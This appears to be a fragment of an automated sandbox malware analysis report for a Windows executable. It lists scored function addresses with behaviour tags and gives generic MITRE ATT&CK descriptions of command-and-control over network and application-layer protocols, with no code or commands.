Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
#U4fdd#U62a4#U795e1.exe

Function 00440F30 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 370
commemorythreadCOMMON

Function 0041AAD0 Relevance: 15.3, APIs: 10, Instructions: 287
libraryloaderCOMMON

Function 004071EA Relevance: 13.2, Strings: 10, Instructions: 712
COMMON

Function 004927A8 Relevance: 12.1, APIs: 8, Instructions: 72
stringfileCOMMON

Function 00468C30 Relevance: 10.6, APIs: 7, Instructions: 87
threadCOMMON

Function 00493A30 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 170
stringCOMMON

Function 0040EF70 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 430
COMMON

Function 00421740 Relevance: 19.7, APIs: 13, Instructions: 187
windowCOMMON

Function 00493855 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99
COMMON

Function 0049B4E6 Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Function 0040B430 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 267
windowCOMMON

Function 00468D70 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 135
registryCOMMON

Function 0041E3E0 Relevance: 13.8, APIs: 9, Instructions: 289
COMMON

Function 004080F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97
processsynchronizationCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre